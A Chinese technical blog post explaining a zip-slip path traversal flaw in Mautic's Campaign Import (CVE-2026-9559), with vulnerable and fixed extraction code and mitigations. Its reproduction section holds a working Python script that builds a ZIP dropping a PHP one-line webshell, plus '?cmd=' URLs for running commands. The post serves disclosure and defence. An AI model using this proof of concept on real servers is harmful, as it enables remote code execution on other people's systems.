一个 ZIP 文件,把 webshell 写到了不该在的地方

一个 ZIP 文件,把 webshell 写到了不该在的地方

Mautic 是个开源的营销自动化平台,企业里用得很广。它有个 Campaign Import 功能------你把营销活动数据打包成 ZIP 传上去,它帮你解压、导入。

很正常的业务功能。但 CVE-2026-9559 让这个功能变成了 webshell 投放器。

怎么回事?一句话:

解压 ZIP 的时候,代码没检查每个文件名的路径合不合法。攻击者在 ZIP 里塞了个文件名叫 ../../../web/shell.php 的条目,解压之后,这个文件没有待在导入目录里,而是顺着 ../ 跑到了 Web 可访问目录。


前端里类似的坑你一定见过:用户上传头像,文件名是 ../../../etc/passwd。后端没过滤,直接拼路径保存------完蛋。或者前端路由里有个 path.join(baseDir, userInput)userInput 是个 ../,直接跳出应用目录。

路径穿越这事二十年了,但每次换一个场景------解压、上传、路由------还是有人中招。Mautic 这次就栽在解压场景。

js 复制代码
// 一个前端开发者都能一眼看出问题的代码(但很多后端解压逻辑就是这么写的):
const extractDir = '/var/www/mautic/imports/';

zip.forEach(entry => {
  const targetPath = extractDir + entry.name;
  // entry.name = '../../../web/root/shell.php'
  // targetPath = '/var/www/mautic/imports/../../../web/root/shell.php'
  // 规范化后 = '/var/www/mautic/web/root/shell.php'
  fs.writeFileSync(targetPath, entry.content); // webshell 就位
});

攻击者只需要构造一个 ZIP:

text 复制代码
malicious_campaign.zip
├── campaign.json          ← 正常内容,骗过格式校验
└── ../../../web/root/shell.php   ← 穿越路径,内容是一句话木马

上传、导入、解压------Mautic 告诉你导入成功。但在你看不到的角落,shell.php 已经躺在 Web 目录下了。访问 https://target.com/root/shell.php?cmd=id,服务器权限到手。


这个漏洞最讽刺的地方是:你登录 Mautic 看日志,一切正常。ZIP 校验通过,导入成功,没有报错。唯一不正常的事情发生在文件系统上------而大多数监控不会盯着解压目录外的文件写入。

而且这个漏洞不需要管理员。只要有个能创建 Campaign Import 的普通账号就行------很多企业 Mautic 里这权限是默认开的。

flowchart LR A[&#34;认证用户<br/>campaign:imports:create 权限&#34;] --> B[&#34;上传恶意 ZIP&#34;] B --> C[&#34;ZIP 解压<br/>未校验路径&#34;] C --> D[&#34;shell.php 写入<br/>Web 可访问目录&#34;] D --> E[&#34;访问 shell.php<br/>RCE&#34;]

怎么修?

原则就一句:解压之前,先看路径。解压之后,确认文件落在了该在的目录里。

Mautic 的修复做了两步:

  1. 对每个 ZIP 条目的文件名做规范化(realpath / canonicalize),拒绝包含 ../ 的路径
  2. 解压后校验最终写入路径的前缀必须是目标目录------如果不是,说明穿越了,拒绝写入

如果你用的是受影响的版本,暂时升不了级,几个临时措施:

  • 把 ZIP 解压到隔离目录(如 /tmp/sandbox_xxx/),别直接在 Web 目录下操作
  • 解压前逐条检查文件名,发现 ../ 直接拒
  • 用最小权限跑 Mautic 进程------www-data 能写的目录越少越好
js 复制代码
// 正确的解压逻辑(前端也能看懂):
const baseDir = path.resolve('/var/www/mautic/imports/');

zip.forEach(entry => {
  const resolved = path.resolve(baseDir, entry.name);
  if (!resolved.startsWith(baseDir)) {
    throw new Error(`路径穿越: ${entry.name}`); // 直接拒
  }
  fs.writeFileSync(resolved, entry.content);
});

就多了两行校验,webshell 就投不进来了。


本地复现

需要 Mautic 7 环境 + campaign:imports:create 权限的账号。

构造恶意 ZIP(Python):

python 复制代码
import zipfile

with zipfile.ZipFile('malicious_campaign.zip', 'w') as z:
    # 正常文件,骗过格式校验
    z.writestr('campaign.json', '{"name": "test"}')
    # 穿越路径(实际路径根据 Mautic 安装目录调整)
    z.writestr('../../../web/root/shell.php', '<?php system($_GET["cmd"]); ?>')

上传 → 导入 → 访问 https://your-mautic/root/shell.php?cmd=whoami → 命令输出即复现成功。


影响版本 :Mautic 7(Campaign Import 功能) | 修复:参考 Mautic GHSA 更新

前提 :需认证 + campaign:imports:create 权限 | 参考:GitHub Advisory GHSA-6r9h-4h75-7q4x / NVD

相关推荐
张就是我1065922 小时前
SPIP 的一个漏洞:你以为过滤了,其实没过滤干净
前端
一tiao咸鱼2 小时前
我用 Claude 做了一个 AI 面试刷题系统,支持 DeepSeek / 阿里 / GPT 帮你打分
前端
掘金一周3 小时前
对车完全小白,不知买油买电还是买混动,求建议| 沸点周刊 7.2
前端·人工智能·后端
妙码生花3 小时前
从 PHP 到 AI + Golang,程序员自救转型手记(十六):目录结构更新、完善 token 系统(AI 表示 token 入库无需加密?)
前端·后端·ai编程
程序me3 小时前
Prompt、Context、Harness、Loop 之后是什么? AI工程下一个半年的关键词
前端·后端·ai编程
飞天狗4 小时前
线上Bug一直复现不了?我用Sentry把错误追踪效率提升了10倍
前端
Slice_cy4 小时前
对前端工程化的理解
前端
Slice_cy4 小时前
状态机设计理念与实现
前端
星栈4 小时前
LiveView 的生命周期:mount、handle_event 和 Socket 到底怎么运转
前端·前端框架·elixir